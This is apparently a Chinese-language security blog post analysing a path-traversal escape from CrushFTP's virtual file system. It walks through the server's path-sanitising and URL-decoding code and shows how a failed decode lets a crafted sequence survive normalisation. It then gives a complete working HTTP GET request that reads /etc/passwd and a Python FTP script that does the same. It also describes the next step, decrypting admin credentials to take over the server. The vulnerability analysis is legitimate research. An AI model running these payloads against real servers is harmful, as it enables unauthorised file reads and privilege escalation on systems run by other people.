浅析CrushFTP之VFS逃逸
写在前面
本篇的内容可能并不是最新的漏洞(毕竟我也没最新版代码),是去年十一月份更新的漏洞,只是当时由于各种各样的项目导致分析被搁置了许久,再次关注它则是因为看到出了新的安全公告,又想起来当时并未分析完全,于是接着之前的工作继续研究(当然另一方面是因为没有各个版本的代码所以不想看最新版的漏洞,另外漏洞的描述中也并不能让我看出什么)
再次回顾,从描述中可以看到,漏洞利用的一部分是知道admin的用户名,另一部分是使用低权限账号(或者系统开启了匿名访问)逃逸原本的VFS(虚拟文件系统)读取任意文件,最终能做到一个提权的效果
至于为什么?则是因为这个系统的配置包括用户名、密码以及一些硬编码密钥其实都是通过XML文件的形式做保存
用户信息则是保存在users/MainUsers/xxx
目录下,因此如果我们能做到任意文件的读取,那么毫无疑问,我们便能解密admin用户的信息成功实现提权
漏洞分析
HTTP的利用
因为这套系统支持很多种访问方式,如HTTP、FTP等,这里我们以HTTP的利用为例(主要是更有趣一点)
关于路由等的信息其实早在上一篇文章当中我就曾提到
CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)
从上图可以简单看出,这里自己实现了协议的解析并做调用,写法比较死板,不够灵活(具体过程可以在crushftp.server.ServerSessionHTTP
看到具体的处理过程),因此鉴于它看着实在让人受折磨,这里也并不打算带大家一行一行看代码,我们主要分享一些关键的有趣的思路
首先我们假设拥有一个低权限的账号(或者支持匿名访问的情况下就不需要了),并且拥有部分文件读取的权限
对于某个共享文件的访问,其实就是直接通过URL+文件的形式做访问
在这时候我们第一个能想到的思路就是会不会存在直接的路径穿越/Desktop/../../../../../etc/passwd
,当然在这里直接这样访问是不行的,具体和程序处理逻辑相关
对应的文件访问功能在代码当中则是从1532行开始(我的版本是10.5),有兴趣自己读一读
先是对路径通过dots函数做处理
12345678 |
public static String dots(String s) { boolean uncFix = s.indexOf(":////") > 0; s = s.replace('\\', '/'); for(String s2 = ""; s.indexOf("%") >= 0 && !s.equals(s2); s = s.replace('\\', '/')) { s2 = s; s = url_decode(s); } |
可以看到他对路径做了一些处理,关于unc的路径处理我们这里也不看了没多大用途,其余部分的处理则是
-
多次对路径做url解码,直到完全解码(解码的内容等于解码前的内容则认为不需要继续解码)
-
如果路径以../开头则去除../的部分,如果路径以..结尾则对路径末尾补充/
-
如果路径中存在../或./则对其做路径归一化的处理,最后去除收尾的../以及/.
-
如果路径中存在!!!以及
(且要求!!!在之前),在路径中存在/时,按/做分段处理,分别遍历删除其中的!!!以及~ -
返回处理好的字符串
在这里我们不难想到,我们完全可以通过构造/.!!!~./etc/passwd
来实现对路径的穿越,但要是仅仅如此那这个漏洞就缺乏了一些趣味
接下来如果不是以/WebInterface/function
开头的路由则会调用到cd
函数设置对应的路径信息,可以看到这里又调用Common.dots
做了一次处理,到这里也就是两次了
12345 |
Common.dotsCommon.dots(user_dir); this.http_dir = user_dir; this.thisSession.uiPUT("current_dir", user_dir);} |
别急还没完最终在读取文件的时候,它又调用了this.fixPath(path);
对路径做了处理,到这里也就是连续使用三次dots
函数做了路径处理操作
12345678910111213 |
public String fixPath(String path) { path = Common.dots(path); if (path.toUpperCase().startsWith("FILE:") || path.indexOf(":") == 1 || path.indexOf(":") == 2) { path = crushftp.handlers.Common.replace_str(path, ":\\", "/"); path = crushftp.handlers.Common.replace_str(path, ":/", "/"); } if (path.startsWith("/")) { path = path.substring(1); } return path;} |
如果仅仅只是看代码表面,第一眼你可能会觉得完了,似乎并不能绕过?在这里推荐大家自己仔细思考下看看能不能发现一些端倪
破局
在这里我就直接公布答案了,破局点在这个url解码的过程,刚刚说到了他会多次调用urldecode解码字符串,直到解码后的内容与解码前的内容一致则认为不需要继续解码了
1234 |
for(String s2 = ""; s.indexOf("%") >= 0 && !s.equals(s2); s = s.replace('\\', '/')) { s2 = s; s = url_decode(s);} |
而这里问题的关键则在于这个解码函数,他理所当然的认为了jdk自带的解码库一定不会抛出异常,因此如果我们能让解码过程报错,那么就会返回这个字符
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293 |
public static String url_decode(String s) { try { if (s.indexOf("% ") < 0 && !s.endsWith("%")) { String s2 = s.replace('+', 'þ'); s2 = URLDecoder.decode(s2, "UTF8"); s = s2.replace('þ', '+'); } } catch (Exception var2) { log("SERVER", 2, (Exception)var2); } for(int x = 0; s != null && x < 32; ++x) { if (x < 9 || x > 13) { s = s.replace((char)x, '_'); } } return s;}public static String decode(String s, Charset charset) { Objects.requireNonNull(charset, "Charset"); boolean needToChange = false; int numChars = s.length(); StringBuilder sb = new StringBuilder(numChars > 500 ? numChars / 2 : numChars); int i = 0; char c; byte[] bytes = null; while (i < numChars) { c = s.charAt(i); switch (c) { case '+': sb.append(' '); i++; needToChange = true; break; case '%': /* * Starting with this instance of %, process all * consecutive substrings of the form %xy. Each * substring %xy will yield a byte. Convert all * consecutive bytes obtained this way to whatever * character(s) they represent in the provided * encoding. */ try { // (numChars-i)/3 is an upper bound for the number // of remaining bytes if (bytes == null) bytes = new byte[(numChars-i)/3]; int pos = 0; while ( ((i+2) < numChars) && (c=='%')) { int v = Integer.parseInt(s, i + 1, i + 3, 16); if (v < 0) throw new IllegalArgumentException( "URLDecoder: Illegal hex characters in escape " + "(%) pattern - negative value"); bytes[pos++] = (byte) v; i+= 3; if (i < numChars) c = s.charAt(i); } // A trailing, incomplete byte encoding such as // "%x" will cause an exception to be thrown if ((i < numChars) && (c=='%')) throw new IllegalArgumentException( "URLDecoder: Incomplete trailing escape (%) pattern"); sb.append(new String(bytes, 0, pos, charset)); } catch (NumberFormatException e) { throw new IllegalArgumentException( "URLDecoder: Illegal hex characters in escape (%) pattern - " + e.getMessage()); } needToChange = true; break; default: sb.append(c); i++; break; } } return (needToChange? sb.toString() : s);} |
在这里就不带大家一行一行解读了,主要是太晚了还要睡觉呢,这里直接公布答案,大家自己仔细看看
在这里我们访问(Desktop是任意可访问的文件夹或文件)
1
|
/Desktop/HackedByY4%/!!!~.!!!~./%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64
|
第一次路径处理:
url解码出错(%/.无法解码)直接返回原字符,之后会删除!!!~
此时payload变成了
1
|
/Desktop/HackedByY4%/../%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64
|
第二次路径处理:
url解码出错直接返回原字符,之后遇到../
做路径归一化后
此时payload变成了
1
|
/Desktop/%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64
|
第三次路径处理:
url成功解码,此时payload为
1
|
/Desktop//..!!!~/..!!!~/..!!!~/..!!!~/..!!!~/..!!!~/etc/passwd
|
之后会删除!!!~
,成功恢复为我们要读取的文件,这里由于/Desktop
文件存在读取权限,因此通过目录穿越我们最终也就实现了对/etc/passwd
的读取,实现了对VFS的逃逸
1
|
/Desktop/../../../../../etc/passwd
|
测试payload
12345678 |
GET /Desktop/HackedByY4%/!!!~.!!!~./%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64 Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Content-Type: application/x-www-form-urlencodedConnection: closeCookie:csrftoken=4sAZX2pHaNF9RyoEHb7KENFQhia3jntA; currentAuth=BIGS; CrushAuth=1713889594438_uQ1LVPWPBAYQSHLZrtUV4uzR1yBIGSContent-Length: 77 |
成功实现了对/etc/passwd
文件的读取
接下来的后利用就是读取admin的账户密码做解密登陆后台实现越权了
FTP的利用
本来想写一下的但是太晚了,乏了索性就睡了,ftp的利用方式则更简单,他没有多次的路径处理,仅仅只有一次,这里我直接给出脚本,留个小作业,有兴趣的朋友可以在知识星期对FTP的利用做分析
123456789101112131415161718192021222324252627282930313233343536373839404142434445 |
from ftplib import FTP# 远程ftp服务器的地址和端口号host = '127.0.0.1'port = 21# 登录用户名和密码username = 'y4tacker'password = 'y4tacker'# 连接远程ftp服务器ftp = FTP()ftp.connect(host, port)# 登录ftp.login(username, password)# 列出远程ftp服务器上的文件def list_files(): files = [] ftp.retrlines('LIST', files.append) for file in files: print(file)# 下载远程ftp服务器上的文件def download_file(remote_file, local_file): with open(local_file, 'wb') as f: ftp.retrbinary('RETR ' + remote_file, f.write)# 列出远程ftp服务器上的文件# list_files()def list_files_in_dir(dir): files = ftp.nlst(dir) for file in files: print(file)ftp.cwd("Desktop")# list_files_in_dir("../../../")# # 下载远程ftp服务器上的文件download_file('..!!!~/..!!!~/..!!!~/etc/hostsz', 'local_file.txt')## # 关闭ftp连接ftp.quit() |
睡了睡了~~~
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论